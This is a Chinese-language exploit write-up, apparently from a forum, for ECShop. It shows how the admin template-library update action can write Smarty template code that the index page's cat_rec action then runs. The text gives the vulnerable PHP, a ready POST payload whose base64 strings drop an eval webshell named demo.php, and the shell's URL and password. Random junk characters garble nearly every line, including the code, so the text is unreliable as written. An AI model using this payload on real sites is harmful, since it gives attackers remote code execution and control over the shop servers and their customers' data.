首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板* {1 M) D* U: Q% Q, A
2 i" a9 P. h0 a* R2 w4 _& U
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 A& Q* _7 L3 C+ |' |7 i r但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: U% Z. L2 Z- v C3 Kadmin/template.php" i. j4 L* C! R' a, ]3 b
- i9 ~* }' N. y
1 if ($_REQUEST['act'] == 'update_library') ; R) S4 P+ U1 Q# B o& I* \
# @* V; @1 u% J( X, ?- k, |2
$ i0 l! |# I. b8 o# `) R6 _/ v& {' z" B' y7 U6 u0 Z
3 { , r& W7 n* O9 n; O+ K
% I+ H1 i5 r2 ]4 check_authz_json('library_manage');
9 Z, u: s# j5 C4 o1 R* J% M8 W3 i, X& ], k
5
3 t, \6 R3 s8 x" k0 R. P1 R6 B
6 $html = stripslashes(json_str_iconv($_POST['html'])); . U. ~- o1 I; ~" n* o/ D7 e
/ V& p9 e, d# _9 D7 p8 _2 ~' J6 q& A2 B6 y. {
2 t! o( p3 Y V8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" v; Z* ~) r/ ]6 I, X; v/ W- Z
" D8 x/ e; F9 g: r/ Q# h# X% x9
, m3 V3 Q: y. }6 G2 A
6 U- M6 L- R, r* C10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
& h; q- V2 O2 p% q0 A- t' L3 C6 M
( Z& c8 r% R# s: E1 `, ~+ Y) f4 b11 ( W0 p- K- X3 c% `, c0 x2 Z& F
- A* Q8 C- y" m- X L& x12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) J0 n8 ~5 U) G# R+ O! y" f: M- o
13
# \: D h- D# W$ r( D, N5 v$ a I1 j0 F; w. x6 h+ F: }% d! l
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 . ?$ s. Q9 A+ s$ _9 z: M
\0 Q$ g5 a3 L7 n& `- n5 K& }15 {
( E7 h% l1 R& k/ y- M& @- z: A
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
h$ Y$ U* q" W1 |1 v% X( W" ?- @, k8 l* }
17 make_json_result('', $_LANG['update_lib_success']); + |7 |6 A9 c; k- s+ u, b- d1 N0 ]
0 X+ G- v1 M1 F2 L; _- r9 ?- y18 }
+ k3 }: S9 d" _: C0 e
0 J F" m# A- A19 else
}& u( R" ~; G2 U* A7 q1 C1 R @& y9 I
20 {
! b3 |! l `, X& P; Y v
- ]6 Q2 V' X9 P' T21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
! z% N5 p, `' K L3 A1 G4 t
' F, x( Y6 U* z/ y22 } 8 ]/ V& m- s" D1 y. j l9 L* B" a
1 o# E1 L$ O% `23 } 8 l6 r' g2 e: w: W7 L, p7 ~
; ]5 l1 Z2 z+ X! u
那么找个比较方便调用了模板的文件% r5 d5 J: \) b v G3 s
index.php4 x" u& a/ d) k* I0 V
8 w% S% Y. d$ N: H+ ?- I1 if ($act == 'cat_rec')
# m4 \ B; L5 _0 k7 y% G2 u- G. O6 \9 U, I3 ]
2
1 u0 j3 y) L; Z: ^' }
, S5 f; D4 G, q9 G' y3 { 8 V# v8 Z* Y' R9 J0 l
# _; k0 U3 ]8 [. u
4 3 R6 M- `3 ^' a
+ ]! S" |' V. p5 X- i
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; |$ I; W' U f) f% a+ |2 T9 Y- e4 `
6 9 a* S, t4 F+ T, R V
; f7 }) K6 q8 }, v, L7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; . ?- }2 l* i. P4 j# D
0 T v9 ~; g2 m. l8 - j6 i. [6 O+ Y
8 j% U: [- {6 V; o z9 o
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; $ c, V+ ^5 m* y! K
( C8 [4 H- t$ M) b# X, m
10
# l8 J" C: ~3 K7 S2 ^4 z* [1 |
+ p- o- d% T/ m9 n; m% d11 include_once('includes/cls_json.php');
F4 `& g7 H" r* D7 Y0 ~7 e* t8 b: P2 K$ U6 `( p
12
% \* K3 N1 ~" m+ {# @$ Y2 `9 b4 q8 I$ d2 f/ {3 H" O% L
13 $json = new JSON; + Z6 X" [8 n! n: p8 ^
; b' n+ X6 y, }7 S5 O, u/ n" G
14
4 x, k+ q. s V4 B1 `% A4 P: t! X6 }6 m$ d& U
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); " Q0 q6 d( Y( S1 [; ~& y& j9 ^! `) j8 c
4 l+ }# Z2 \/ w16
5 ~) o! M2 e2 }7 [' O$ n& [4 i) h2 @1 l
17 $children = get_children($cat_id); $ L5 w6 [1 ~6 o# {3 w7 d
! _0 m! X8 B& u* P& t2 J
18
" w2 }- ~( w& `) d, m/ h j4 u: J! ]5 J1 ?, z8 i( [
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
( E, V D0 T9 ~# J* \0 S' `8 O* G- N3 ]
20
# U; C! R) L/ q# D. A$ B- I" E( _+ O
21 $smarty->assign('cat_rec_sign', 1); 8 X, P# Y0 ?8 F
L) I S$ A$ C, a
22
. M- ]8 R6 ^5 f _: y0 k% }& I4 A! B9 x
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
4 F5 Z! P' y8 {/ I! _) W! v0 Y" T! v' \1 C5 ~
24
+ z" k( v S0 K0 i2 g. z& f8 i" r! R; s4 N& O" |
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# z- P0 x2 p/ t" `& P+ Z! k
0 }7 }- e( ]# E( p26
1 t [( V1 D# T) H' t
" T. E/ D0 g; G( Z! c) x8 M0 U$ k. ~: G# R27 echo $rec_array[$rec_type];
0 Q+ u' ? a$ D! _' b& r( n: x: }, o/ u3 S9 b
28
+ p: m/ g" F8 W n+ }9 D3 ], A3 b6 k/ D
29 die($json->encode($result));
- p. d- {3 c3 u9 e7 q0 E; Y$ p$ d& ~4 d2 O# V$ Z% l
30 ) V: b# }; i* r8 q' B+ I
3 @4 t# g' t; t+ a; A4 C3 r w! c' R31 } 1 W) r3 _' D @, K4 ^* E% M
! _$ ]/ i8 T! g; F6 Y那么就有利用方法了" Q& p) A% R7 Q7 G- N3 f
post包到http://localhost/ec/admin/template.php?act=update_library
4 A G) ^6 z. yPost内容:
) y: j. Q9 `, R0 \1 t, Y% X
3 a- `- E2 g/ O8 j- [( U, ?( i1 [6 j9 u7 P+ l
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 Q3 ~" S0 s$ ?6 C7 ]* n B4 n( {9 p2 \3 o( k0 P& E: R
然后访问http://localhost/ec/index.php?act=cat_rec
) T( H7 D h+ l3 l
& X2 s3 t. j$ N+ ], h6 p: lshel地址:http://localhost/ec/demo.php+ F" \, k9 d. w2 C% T( E: F
密码c0 l" y) \+ v& X0 P, U0 N
9 J9 X* S Y5 U8 y. S |